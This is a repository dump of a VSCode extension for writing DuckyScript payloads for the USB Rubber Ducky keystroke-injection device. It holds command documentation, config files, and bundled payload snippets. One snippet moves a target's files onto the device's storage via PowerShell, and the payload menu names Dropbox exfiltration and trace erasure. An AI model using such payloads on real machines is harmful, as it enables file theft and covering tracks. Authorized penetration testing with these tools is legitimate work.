interpret an \`IF\` statement is to read it as "\`IF\` this condition is true, \`THEN\` do this". 27 | 28 | \`\`\` 29 | $FOO = 42 30 | $BAR = 1337 31 | IF ( $FOO < $BAR ) THEN 32 | STRING 42 is less than 1337 33 | END_IF 34 | \`\`\` 35 | 36 | `), 37 | text: "IF ( ) THEN" 38 | },{ 39 | label: "CONDITIONAL-STATEMENTS.ELSE", 40 | detail: "", 41 | doc: new vscode.MarkdownString(` 42 | # ELSE 43 | 44 | The \`ELSE\` statement is an optional component of the \`IF\` statement which will only execute when the \`IF\` statement condition is \`FALSE\`. 45 | 46 | \`\`\` 47 | IF ( $_CAPSLOCK_ON == TRUE ) THEN 48 | STRING Capslock is on! 49 | ELSE IF ( $_CAPSLOCK_ON == FALSE ) THEN 50 | STRING Capslock is off! 51 | END_IF 52 | \`\`\` 53 | 54 | `), 55 | text: "ELSE IF ( ) THEN" 56 | } 57 | ]; 58 | -------------------------------------------------------------------------------- /assets/code/3_0_PASSIVE_WINDOWS_DETECT.txt: -------------------------------------------------------------------------------- 1 | 2 | REM_BLOCK 3 | Credits: Hak5 LLC 4 | Website: https://hak5.org/ 5 | Source: https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt 6 | END_REM 7 | 8 | EXTENSION PASSIVE_WINDOWS_DETECT 9 | REM VERSION 1.1 10 | REM AUTHOR: Korben 11 | 12 | REM_BLOCK DOCUMENTATION 13 | Windows fully passive OS Detection and passive Detect Ready 14 | Includes its own passive detect ready. 15 | Does not require additional extensions. 16 | 17 | USAGE: 18 | Extension runs inline (here) 19 | Place at beginning of payload (besides ATTACKMODE) to act as dynamic 20 | boot delay 21 | $_OS will be set to WINDOWS or NOT_WINDOWS 22 | See end of payload for usage within payload 23 | END_REM 24 | 25 | REM CONFIGURATION: 26 | DEFINE #MAX_WAIT 150 27 | DEFINE #CHECK_INTERVAL 20 28 | DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 29 | DEFINE #NOT_WINDOWS 7 30 | 31 | $_OS = #NOT_WINDOWS 32 | 33 | VAR $MAX_TRIES = #MAX_WAIT 34 | WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) 35 | DELAY #CHECK_INTERVAL 36 | $MAX_TRIES = ($MAX_TRIES - 1) 37 | END_WHILE 38 | IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN 39 | $_OS = WINDOWS 40 | END_IF 41 | 42 | REM_BLOCK EXAMPLE USAGE AFTER EXTENSION 43 | IF ($_OS == WINDOWS) THEN 44 | STRING HELLO WINDOWS! 45 | ELSE 46 | STRING HELLO WORLD! 47 | END_IF 48 | END_REM 49 | END_EXTENSION 50 | 51 | -------------------------------------------------------------------------------- /.github/workflows/jekyll-gh-pages.yml: -------------------------------------------------------------------------------- 1 | # Sample workflow for building and deploying a Jekyll site to GitHub Pages 2 | name: A VSCode extension that speeds up DuckyScript development with ready-to-use snippets and fun ducky icons for a more efficient and enjoyable scripting experience. 3 | 4 | on: 5 | # Runs on pushes targeting the default branch 6 | push: 7 | branches: ["main"] 8 | 9 | # Allows you to run this workflow manually from the Actions tab 10 | workflow_dispatch: 11 | 12 | # Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages 13 | permissions: 14 | contents: read 15 | pages: write 16 | id-token: write 17 | 18 | # Allow only one concurrent deployment, skipping runs queued between the run in-progress and latest queued. 19 | # However, do NOT cancel in-progress runs as we want to allow these production deployments to complete. 20 | concurrency: 21 | group: "pages" 22 | cancel-in-progress: false 23 | 24 | 25 | jobs: 26 | # Build job 27 | build: 28 | runs-on: ubuntu-latest 29 | steps: 30 | - name: Checkout 31 | uses: actions/checkout@v4 32 | - name: Setup Pages 33 | uses: actions/configure-pages@v5 34 | - name: Build with Jekyll 35 | uses: actions/jekyll-build-pages@v1 36 | with: 37 | source: ./ 38 | destination: ./_site 39 | - name: Debug build output 40 | run: ls -la ./_site 41 | - name: Upload artifact 42 | uses: actions/upload-pages-artifact@v3 43 | 44 | # Deployment job 45 | deploy: 46 | environment: 47 | name: github-pages 48 | url: ${{ steps.deployment.outputs.page_url }} 49 | runs-on: ubuntu-latest 50 | needs: build 51 | steps: 52 | - name: Deploy to GitHub Pages 53 | id: deployment 54 | uses: actions/deploy-pages@v4 55 | -------------------------------------------------------------------------------- /media/css/vscode.css: -------------------------------------------------------------------------------- 1 | :root { 2 | --container-paddding: 20px; 3 | --input-padding-vertical: 6px; 4 | --input-padding-horizontal: 4px; 5 | --input-margin-vertical: 4px; 6 | --input-margin-horizontal: 0; 7 | } 8 | 9 | body { 10 | padding: 0 var(--container-paddding); 11 | color: var(--vscode-foreground); 12 | font-size: var(--vscode-font-size); 13 | font-weight: var(--vscode-font-weight); 14 | font-family: var(--vscode-font-family); 15 | background-color: var(--vscode-editor-background); 16 | } 17 | 18 | ol, 19 | ul { 20 | padding-left: var(--container-paddding); 21 | } 22 | 23 | body > *, 24 | form > * { 25 | margin-block-start: var(--input-margin-vertical); 26 | margin-block-end: var(--input-margin-vertical); 27 | } 28 | 29 | *:focus { 30 | outline-color: var(--vscode-focusBorder) !important; 31 | } 32 | 33 | /* a { 34 | color: var(--vscode-textLink-foreground); 35 | } 36 | 37 | a:hover, 38 | a:active { 39 | color: var(--vscode-textLink-activeForeground); 40 | } */ 41 | 42 | code { 43 | font-size: var(--vscode-editor-font-size); 44 | font-family: var(--vscode-editor-font-family); 45 | } 46 | 47 | /* button { 48 | border: none; 49 | padding: var(--input-padding-vertical) var(--input-padding-horizontal); 50 | width: 100%; 51 | text-align: center; 52 | outline: 1px solid transparent; 53 | outline-offset: 2px !important; 54 | color: var(--vscode-button-foreground); 55 | background: var(--vscode-button-background); 56 | } 57 | 58 | button:hover { 59 | cursor: pointer; 60 | background: var(--vscode-button-hoverBackground); 61 | } 62 | 63 | button:focus { 64 | outline-color: var(--vscode-focusBorder); 65 | } 66 | 67 | button.secondary { 68 | color: var(--vscode-button-secondaryForeground); 69 | background: var(--vscode-button-secondaryBackground); 70 | } 71 | 72 | button.secondary:hover { 73 | background: var(--vscode-button-secondaryHoverBackground); 74 | } */ 75 | 76 | input:not([type='checkbox']), 77 | textarea, select { 78 | display: block; 79 | width: 100%; 80 | border: none; 81 | font-family: var(--vscode-font-family); 82 | padding: var(--input-padding-vertical) var(--input-padding-horizontal); 83 | color: var(--vscode-input-foreground); 84 | outline-color: var(--vscode-input-border); 85 | background-color: var(--vscode-input-background); 86 | } 87 | 88 | input::placeholder, 89 | textarea::placeholder { 90 | color: var(--vscode-input-placeholderForeground); 91 | } -------------------------------------------------------------------------------- /src/commands/button.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const BUTTON_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "BUTTON-COMMANDS", 8 | detail: "List of all button commands", 9 | doc: new vscode.MarkdownString(` 10 | # BUTTON COMMANDS 11 | 12 | By default, if no other button command is currently in use, pressing the button during payload execution will make the USB Rubber Ducky stop any further keystroke injection. It will then become an ordinary USB flash drive, commonly referred to as "arming mode". 13 | 14 | \`WAIT_FOR_BUTTON_PRESS\` 15 | 16 | \`BUTTON_DEF\` 17 | 18 | \`DISABLE_BUTTON\` 19 | 20 | \`ENABLE_BUTTON\` 21 | 22 | `), 23 | text: "" 24 | },{ 25 | label: "BUTTON.WAIT_FOR_BUTTON_PRESS", 26 | detail: "Wait until button is pressed", 27 | doc: new vscode.MarkdownString(` 28 | # BUTTON COMMANDS 29 | 30 | Halts payload execution until a button press is detected. When this command is reached in the payload, no further execution will occur. 31 | 32 | \`\`\` 33 | STRING Press the button... 34 | WAIT_FOR_BUTTON_PRESS 35 | STRING The button was pressed! 36 | \`\`\` 37 | 38 | `), 39 | text: "WAIT_FOR_BUTTON_PRESS" 40 | },{ 41 | label: "BUTTON.BUTTON_DEF", 42 | detail: "Define button", 43 | doc: new vscode.MarkdownString(` 44 | # BUTTON_DEF 45 | 46 | The \`BUTTON_DEF\` command defines a function which will execute when the button is pressed anytime within the payload so long as the button control is not already in use by the WAIT_FOR_BUTTON_PRESS command or other such function. 47 | 48 | \`\`\` 49 | BUTTON_DEF 50 | STRINGLN The button was pressed. 51 | END_BUTTON 52 | 53 | STRINGLN Press the button with the next 10 seconds 54 | DELAY 10000 55 | \`\`\` 56 | 57 | `), 58 | text: "BUTTON_DEF\n\tREM Hello World!\nEND_BUTTON" 59 | },{ 60 | label: "BUTTON.DISABLE_BUTTON", 61 | detail: "Disable button", 62 | doc: new vscode.MarkdownString(` 63 | # DISABLE_BUTTON 64 | 65 | The \`DISABLE_BUTTON\` command prevents the button from calling the \`BUTTON_DEF\`. 66 | 67 | `), 68 | text: "DISABLE_BUTTON" 69 | },{ 70 | label: "BUTTON.ENABLE_BUTTON", 71 | detail: "", 72 | doc: new vscode.MarkdownString(` 73 | # ENABLE BUTTON 74 | 75 | The \`ENABLE_BUTTON\` command allows pressing the button to call the \`BUTTON_DEF\`. 76 | 77 | `), 78 | text: "ENABLE_BUTTON" 79 | } 80 | 81 | ]; 82 | -------------------------------------------------------------------------------- /media/js/main.js: -------------------------------------------------------------------------------- 1 | //@ts-check 2 | 3 | (function () { 4 | const vscode = acquireVsCodeApi(); 5 | 6 | window.addEventListener('message', event => { 7 | const v = event.data.command; 8 | }); 9 | 10 | function init() { 11 | vscode.postMessage({type: 'showPanel'}); 12 | } 13 | 14 | // DuckyScript 3.0 Payloads 15 | var FunctionList = { 16 | 'PAYLOAD_INTRO_3_0': function () { vscode.postMessage({ type: 'PAYLOAD_INTRO_3_0' }); }, 17 | 'DETECT_READY_3_0': function () { vscode.postMessage({ type: 'DETECT_READY_3_0' }); }, 18 | 'PASSIVE_WINDOWS_DETECT_3_0': function () { vscode.postMessage({ type: 'PASSIVE_WINDOWS_DETECT_3_0' }); }, 19 | 'ERASE_TRACES_POWERSHELL_3_0': function () { vscode.postMessage({ type: 'ERASE_TRACES_POWERSHELL_3_0' }); }, 20 | 'ERASE_TRACES_SHELL_3_0': function () { vscode.postMessage({ type: 'ERASE_TRACES_SHELL_3_0' }); }, 21 | 'EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_3_0': function () { vscode.postMessage({ type: 'EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_3_0' }); }, 22 | 'OPEN_POWERSHELL_3_0': function () { vscode.postMessage({ type: 'OPEN_POWERSHELL_3_0' }); }, 23 | 'SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS_3_0': function () { vscode.postMessage({ type: 'SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS_3_0' }); }, 24 | 'GENERALIZED_WINDOWS_USER_PATH_3_0': function () { vscode.postMessage({ type: 'GENERALIZED_WINDOWS_USER_PATH_3_0' }); }, 25 | 'PAYLOAD_INTRO_1_0': function () { vscode.postMessage({ type: 'PAYLOAD_INTRO_1_0' }); }, 26 | 'ERASE_TRACES_POWERSHELL_1_0': function () { vscode.postMessage({ type: 'ERASE_TRACES_POWERSHELL_1_0' }); }, 27 | 'ERASE_TRACES_SHELL_1_0': function () { vscode.postMessage({ type: 'ERASE_TRACES_SHELL_1_0' }); }, 28 | 'EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_1_0': function () { vscode.postMessage({ type: 'EXFILTRATE_FILES_USING_DROPBOX_WINDOWS_1_0' }); }, 29 | 'OPEN_POWERSHELL_1_0': function () { vscode.postMessage({ type: 'OPEN_POWERSHELL_1_0' }); }, 30 | 'GENERALIZED_WINDOWS_USER_PATH_1_0': function () { vscode.postMessage({ type: 'GENERALIZED_WINDOWS_USER_PATH_1_0' }); }, 31 | 'OPEN_SHELL': function () { vscode.postMessage({ type: 'OPEN_SHELL' }); }, 32 | }; 33 | 34 | document.querySelectorAll('.btn').forEach(btn => { 35 | btn.addEventListener('click', (event) => { 36 | if (typeof FunctionList[btn.dataset.act] === 'function') FunctionList[btn.dataset.act](); 37 | }, false); 38 | }); 39 | 40 | init(); 41 | }()); 42 | -------------------------------------------------------------------------------- /src/commands/randomization.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const RANDOM_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "RANDOM-COMMANDS", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # RANDOM COMMANDS 11 | 12 | The pseudorandom number generator provides randomization for keystroke injection, variables and attackmode parameters. The first time a randomization feature is used, a \`seed.bin\` will be generated on the root of the MicroSD card. One may also be generated from the [Hak5 IDE](https://encoder.hak5.org/). 13 | 14 | \`RANDOM KEYSTROKE INJECTION\` 15 | 16 | \`RANDOM INTEGERS\` 17 | 18 | \`RANDOM and ATTACKMODE\` 19 | 20 | `), 21 | text: "" 22 | },{ 23 | label: "RANDOM-COMMANDS.KEYSTROKE-INJECTION", 24 | detail: "", 25 | doc: new vscode.MarkdownString(` 26 | # RANDOM KEYSTROKE INJECTION 27 | 28 | \`RANDOM_LOWERCASE_LETTER\` - *abcdefghijklmnopqrstuvwxyz* 29 | 30 | \`RANDOM_UPPERCASE_LETTER\` - *ABCDEFGHIJKLMNOPQRSTUVWXYZ* 31 | 32 | \`RANDOM_LETTER\` - *abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ* 33 | 34 | \`RANDOM_NUMBER\` - *0123456789* 35 | 36 | \`RANDOM_SPECIAL\` - *!@#$%^&\*()* 37 | 38 | \`RANDOM_CHAR\` - *abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 !@#$%^&\*()* 39 | 40 | \`\`\` 41 | REM 42 random characters 42 | VAR $COUNT = 42 43 | WHILE ($COUNT > 0) 44 | RANDOM_CHAR 45 | $COUNT = ($COUNT + 1) 46 | END_WHILE 47 | \`\`\` 48 | 49 | `), 50 | text: "" 51 | },{ 52 | label: "RANDOM-COMMANDS.INTEGERS", 53 | detail: "", 54 | doc: new vscode.MarkdownString(` 55 | # RANDOM INTEGERS 56 | 57 | The internal variable \`$_RANDOM_INT\` assigns a random integer between the specified \`$_RANDOM_MIN\` and \`$_RANDOM_MAX\` values. May be 0-65535. The default values are \`0-9\`. 58 | 59 | \`\`\` 60 | $_RANDOM_MIN = 42 61 | $_RANDOM_MAX = 1337 62 | VAR $FOO = $_RANDOM_INT 63 | 64 | REM The variable $FOO will be between 42 and 1337 65 | \`\`\` 66 | 67 | `), 68 | text: "$_RANDOM_INT" 69 | },{ 70 | label: "RANDOM-COMMANDS.RANDOM-AND-ATTACKMODE", 71 | detail: "", 72 | doc: new vscode.MarkdownString(` 73 | # RANDOM AND ATTACKMODE 74 | 75 | The \`ATTACKMODE\` command may accept random values for the optional parameters. 76 | 77 | \`VID_RANDOM\` - *Random Vendor ID* 78 | 79 | \`PID_RANDOM\` - *Random Product ID* 80 | 81 | \`MAN_RANDOM\` - *Random 12 alphanumeric character iManufacturer* 82 | 83 | \`PROD_RANDOM\` - *Random 12 alphanumeric character iProduct* 84 | 85 | \`SERIAL_RANDOM\` - *Random 12 digit serial number* 86 | 87 | \`\`\` 88 | ATTACKMODE HID VID_RANDOM PID_RANDOM MAN_RANDOM PROD_RANDOM SERIAL_RANDOM 89 | \`\`\` 90 | 91 | **Use caution when using random \`VID\` and \`PID\` values as unexpected results are likely.** 92 | 93 | `), 94 | text: "" 95 | } 96 | ]; 97 | -------------------------------------------------------------------------------- /media/icon/icon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 10 | 12 | 18 | 20 | 22 | 24 | 26 | 30 | 31 | -------------------------------------------------------------------------------- /src/commands/attackmode.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const ATTACKMODE_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "", 8 | detail: "List of all attack mode commands", 9 | doc: new vscode.MarkdownString(` 10 | # ATTACKMODE 11 | 12 | An attack mode is the device type that a USB Rubber Ducky, is functioning as or emulating. If no \`ATTACKMODE\` command is specified as the first command (excluding \`REM\`), the \`HID\` attack mode will execute, allowing the device to function as a keyboard. The \`ATTACKMODE\` command may be run multiple times within a payload, which may cause the device to be re-enumerated by the target if the attack mode changes. 13 | 14 | ## Required Parameters 15 | 16 | \`HID\` - *Functions as a Human Interface Device, or Keyboard, for keystroke injection.* 17 | 18 | \`STORAGE\` - *Functions as USB Mass Storage, or a Flash Drive, for copying files to/from the target.* 19 | 20 | \`HID STORAGE\` - *Functions as both USB Mass Storage and Human Interface Device* 21 | 22 | \`OFF\` - *Will not function as any device. May be used to disconnect the device from the target.* 23 | 24 | \`\`\` 25 | ATTACKMODE HID STORAGE 26 | REM The USB Rubber Ducky will act as both a flash drive and keyboard 27 | \`\`\` 28 | 29 | ## Optional Parameters 30 | 31 | When using these optional parameters, \`VID\` and \`PID\` must be used as a set. Further, \`MAN\`, \`PROD\` and \`SERIAL\` must also be used as a set. 32 | 33 | \`VID_\` - *Vendor ID (16-bit HEX)* 34 | 35 | \`PID_\` - *Product ID (16-bit HEX)* 36 | 37 | \`MAN_\` - *Manufacturer (32 alphanumeric characters)* 38 | 39 | \`PROD_\` - *Product (32 alphanumeric characters)* 40 | 41 | \`SERIAL_\` - *Serial (12 digits)* 42 | 43 | \`\`\` 44 | ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337 45 | REM Emulated a Keyboard with the following values: 46 | REM - Vendor ID: 046D 47 | REM - Product ID: C31C 48 | REM - Manufacturer: HAK5 49 | REM - Product: DUCKY 50 | REM - Serial: 1337 51 | \`\`\` 52 | 53 | `), 54 | text: "ATTACKMODE " 55 | },{ 56 | label: "ATTACKMODE.SAVE_ATTACKMODE", 57 | detail: "", 58 | doc: new vscode.MarkdownString(` 59 | # SAVE_ATTACKMODE 60 | 61 | The \`SAVE_ATTACKMODE\` command will save the currently running \`ATTACKMODE\` state (including any specified \`VID\`, \`PID\`, \`MAN\`, \`PROD\` and \`SERIAL\` parameters) such that it may be later restored. 62 | 63 | `), 64 | text: "SAVE_ATTACKMODE" 65 | },{ 66 | label: "ATTACKMODE.RESTORE_ATTACKMODE", 67 | detail: "", 68 | doc: new vscode.MarkdownString(` 69 | # RESTORE_ATTACKMODE 70 | 71 | The \`RESTORE_ATTACKMODE\` command will restore a previously saved \`ATTACKMODE\` state. 72 | 73 | \`\`\` 74 | ATTACKMODE HID VID_046D PID_C31C MAN_HAK5 PROD_DUCKY SERIAL_1337 75 | DELAY 2000 76 | SAVE_ATTACKMODE 77 | STRING Hello 78 | ATTACKMODE OFF 79 | DELAY 5000 80 | RESTORE_ATTACKMODE 81 | DELAY 2000 82 | STRING , World! 83 | \`\`\` 84 | `), 85 | text: "RESTORE_ATTACKMODE" 86 | } 87 | ]; 88 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "duckyscriptcookbook", 3 | "displayName": "DuckyScript Cookbook", 4 | "description": "DuckyScript Cookbook is a VSCode extension that simplifies writing DuckyScript code for USB Rubber Ducky devices.", 5 | "version": "1.0.6", 6 | "publisher": "Aleff", 7 | "engines": { 8 | "vscode": "^1.74.3" 9 | }, 10 | "author": { 11 | "name": "Aleff" 12 | }, 13 | "categories": [ 14 | "Programming Languages", 15 | "Themes", 16 | "Snippets" 17 | ], 18 | "main": "./out/extension.js", 19 | "contributes": { 20 | "languages": [ 21 | { 22 | "id": "duckyscript", 23 | "aliases": [ 24 | "DuckyScript", 25 | "duckyscript", 26 | "ds" 27 | ], 28 | "extensions": [ 29 | ".txt", 30 | ".ds", 31 | ".duckyscript" 32 | ], 33 | "icon": { 34 | "light": "./images/icon.png", 35 | "dark": "./images/icon.png" 36 | }, 37 | "configuration": "./language-configuration.json" 38 | } 39 | ], 40 | "grammars": [ 41 | { 42 | "language": "duckyscript", 43 | "scopeName": "source.duckyscript", 44 | "path": "./syntaxes/duckyscript.tmLanguage.json" 45 | } 46 | ], 47 | "themes": [ 48 | { 49 | "label": "DarkDuckyScript", 50 | "uiTheme": "vs", 51 | "path": "./themes/DarkDuckyScript-color-theme.json" 52 | }, 53 | { 54 | "label": "LightDuckyScript", 55 | "uiTheme": "vs", 56 | "path": "./themes/LightDuckyScript-color-theme.json" 57 | } 58 | ], 59 | "commands": [ 60 | { 61 | "command": "duckyscript.Cookbook", 62 | "title": "DuckyScript Cookbook" 63 | } 64 | ], 65 | "viewsContainers": { 66 | "activitybar": [ 67 | { 68 | "id": "DuckyScriptCookbook", 69 | "title": "DuckyScript Cookbook", 70 | "icon": "media/icon/icon.svg" 71 | } 72 | ] 73 | }, 74 | "views": { 75 | "DuckyScriptCookbook": [ 76 | { 77 | "type": "webview", 78 | "id": "duckyscript.Cookbook", 79 | "name": "DuckyScript Cookbook" 80 | } 81 | ] 82 | }, 83 | "snippets": [ 84 | { 85 | "language": "duckyscript", 86 | "path": "./snippets/snippets.json" 87 | } 88 | ] 89 | }, 90 | "scripts": { 91 | "vscode:prepublish": "npm run compile", 92 | "compile": "tsc -p ./", 93 | "watch": "tsc -watch -p ./", 94 | "lint": "eslint src --ext ts", 95 | "build": "tsc" 96 | }, 97 | "devDependencies": { 98 | "@types/node": "^16.18.108", 99 | "@types/vscode": "^1.69.0" 100 | }, 101 | "repository": { 102 | "type": "git", 103 | "url": "https://github.com/aleff-github/DuckyScriptCookbook.git" 104 | }, 105 | "homepage": "https://github.com/aleff-github/DuckyScriptCookbook", 106 | "icon": "images/icon.png", 107 | "dependencies": { 108 | "@types/vscode": "^1.69.0", 109 | "sys": "^0.0.1", 110 | "util": "^0.12.5", 111 | "vscode-test": "^1.6.1" 112 | }, 113 | "__metadata": { 114 | "id": "849ae603-6959-49c0-ae4c-a7c187456436", 115 | "publisherDisplayName": "duckyscriptcookbook", 116 | "publisherId": "44531327-6e3d-43b9-a672-aadcfd084dc5", 117 | "isPreReleaseVersion": false 118 | } 119 | } 120 | -------------------------------------------------------------------------------- /src/commands/combo.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const COMBO_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "COMBO-KEYS", 8 | detail: "Modifier Key Combinations", 9 | doc: new vscode.MarkdownString(` 10 | # COMBO KEYS 11 | 12 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 13 | 14 | \`CTRL SHIFT\` 15 | 16 | \`ALT SHIFT\` 17 | 18 | \`COMMAND CTRL\` 19 | 20 | \`COMMAND CTRL SHIFT\` 21 | 22 | \`COMMAND OPTION\` 23 | 24 | \`COMMAND OPTION SHIFT\` 25 | 26 | \`CONTROL ALT DELETE\` 27 | 28 | `), 29 | text: "" 30 | },{ 31 | label: "COMBO.CTRL-SHIFT", 32 | detail: "CTRL SHIFT modifier key combo", 33 | doc: new vscode.MarkdownString(` 34 | # CTRL SHIFT 35 | 36 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 37 | 38 | \`CTRL SHIFT\` 39 | 40 | `), 41 | text: "CTRL SHIFT" 42 | },{ 43 | label: "COMBO.ALT-SHIFT", 44 | detail: "ALT SHIFT modifier key combo", 45 | doc: new vscode.MarkdownString(` 46 | # ALT SHIFT 47 | 48 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 49 | 50 | \`ALT SHIFT\` 51 | 52 | `), 53 | text: "ALT SHIFT" 54 | },{ 55 | label: "COMBO.COMMAND-CTRL", 56 | detail: "COMMAND CTRL modifier key combo", 57 | doc: new vscode.MarkdownString(` 58 | # COMMAND CTRL 59 | 60 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 61 | 62 | \`COMMAND CTRL\` 63 | 64 | `), 65 | text: "COMMAND CTRL" 66 | },{ 67 | label: "COMBO.COMMAND-CTRL-SHIFT", 68 | detail: "COMMAND CTRL SHIFT modifier key combo", 69 | doc: new vscode.MarkdownString(` 70 | # COMMAND CTRL SHIFT 71 | 72 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 73 | 74 | \`COMMAND CTRL SHIFT\` 75 | 76 | `), 77 | text: "COMMAND CTRL SHIFT" 78 | },{ 79 | label: "COMBO.COMMAND-OPTION", 80 | detail: "COMMAND OPTION modifier key combo", 81 | doc: new vscode.MarkdownString(` 82 | # COMMAND OPTION 83 | 84 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 85 | 86 | \`COMMAND OPTION\` 87 | 88 | `), 89 | text: "COMMAND OPTION" 90 | },{ 91 | label: "COMBO.COMMAND-OPTION-SHIFT", 92 | detail: "COMMAND OPTION SHIFT modifier key combo", 93 | doc: new vscode.MarkdownString(` 94 | # COMMAND OPTION SHIFT 95 | 96 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 97 | 98 | \`COMMAND OPTION SHIFT\` 99 | 100 | `), 101 | text: "COMMAND OPTION SHIFT" 102 | },{ 103 | label: "COMBO.CONTROL-ALT-DELETE", 104 | detail: "CONTROL ALT DELETE modifier key combo", 105 | doc: new vscode.MarkdownString(` 106 | # CONTROL ALT DELETE 107 | 108 | In addition to the basic modifier key combinations, such as \`CTRL c\`, modifiers and keys may be combined arbitrarily. 109 | 110 | \`CONTROL ALT DELETE\` 111 | 112 | `), 113 | text: "CONTROL ALT DELETE" 114 | } 115 | ]; -------------------------------------------------------------------------------- /assets/code/3_0_SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt: -------------------------------------------------------------------------------- 1 | 2 | REM_BLOCK 3 | Credits: Aleff 4 | Website: https://aleff-gitlab.gitlab.io/ 5 | Source: https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/extensions/community/SAVE_FILES_IN_RUBBER_DUCKY_STORAGE 6 | END_REM 7 | 8 | EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS 9 | REM VERSION 1.0 10 | REM AUTHOR: Aleff 11 | REM_BLOCK Documentation 12 | This extension is used to save one or more files through the USB Rubber Ducky storage. 13 | 14 | TARGET: 15 | Windows 10/11 16 | 17 | USAGE: 18 | Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky. 19 | 20 | CONFIGURATION: 21 | Set #DRIVER_LABEL variable with the correct Label of your USB Rubber Ducky considering that the default value is 'DUCK'. 22 | 23 | Set #FLAG_SINGLE_FILE with TRUE if you want to save just one file. 24 | In this case you will need to specify the file path within the #SINGLE_PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path. 25 | i.e. in DuckyScript EXTENSION 26 | DEFINE #SINGLE_PATH C:\Users\Aleff\Downloads\photo.png 27 | i.e. in PowerShell before extension 28 | $fileToSavePath = "C:\Users\Aleff\Downloads\photo.png" 29 | 30 | Set #FLAG_SINGLE_FILE FALSE if you want to send multiple files. 31 | In this case in the PowerShell you will have to create the variable $fileToSavePaths, which is an array of strings that should contain the list of paths related to the files you want to save. 32 | i.e. in PowerShell before extension: 33 | $fileToSavePaths = @( 34 | "C:\Users\Aleff\Downloads\photo.png", 35 | "C:\Users\Aleff\Downloads\document.pdf", 36 | "C:\Users\Aleff\Downloads\song.mp3" 37 | ) 38 | Some tips: 39 | How to create an Array? 40 | > $fileToSavePaths = @() 41 | How to add an element? 42 | > $fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png" 43 | How to see the array? 44 | > $fileToSavePaths 45 | END_REM 46 | REM Settings 47 | DEFINE #DRIVER_LABEL DUCK 48 | DEFINE #FLAG_SINGLE_FILE FALSE 49 | DEFINE #SINGLE_PATH 0 50 | 51 | REM Extension Code 52 | FUNCTION SAVE_SINGLE_FILE() 53 | IF ( #SINGLE_PATH != 0 ) THEN 54 | STRINGLN mv #SINGLE_PATH >> ${m}:\ 55 | ELSE IF ( #SINGLE_PATH == 0 ) THEN 56 | STRINGLN mv ${fileToSavePath} >> ${m}:\ 57 | END_IF 58 | END_FUNCTION 59 | 60 | FUNCTION SAVE_MULTIPLE_FILES() 61 | STRINGLN 62 | foreach ($fileToSavePath in $fileToSavePaths) { 63 | mv ${fileToSavePath} >> ${m}:\ 64 | } 65 | END_STRINGLN 66 | END_FUNCTION 67 | 68 | STRINGLN $m=(Get-Volume -FileSystemLabel '#DRIVER_LABEL').DriveLetter; 69 | IF_DEFINED_TRUE #FLAG_SINGLE_FILE 70 | SAVE_SINGLE_FILE() 71 | END_IF_DEFINED 72 | IF_NOT_DEFINED_TRUE #FLAG_SINGLE_FILE 73 | SAVE_MULTIPLE_FILES() 74 | END_IF_DEFINED 75 | END_EXTENSION -------------------------------------------------------------------------------- /src/commands/operators.ts: -------------------------------------------------------------------------------- 1 | import * as vscode from 'vscode'; 2 | import { CommandInfo } from './structure' 3 | 4 | 5 | export const OPERATORS_COMMANDS: CommandInfo[] = [ 6 | { 7 | label: "OPERATORS.MATH", 8 | detail: "", 9 | doc: new vscode.MarkdownString(` 10 | # Math 11 | 12 | Operators instruct the payload to perform a given mathematical, relational or logical operation. 13 | 14 | \`=\` - *Assignment* 15 | 16 | \`+\` - *Add* 17 | 18 | \`-\` - *Subtract* 19 | 20 | \`*\` - *Multiply* 21 | 22 | \`/\` - *Divide* 23 | 24 | \`%\` - *Modulus* 25 | 26 | \`^\` - *Exponent* 27 | 28 | \`\`\` 29 | VAR 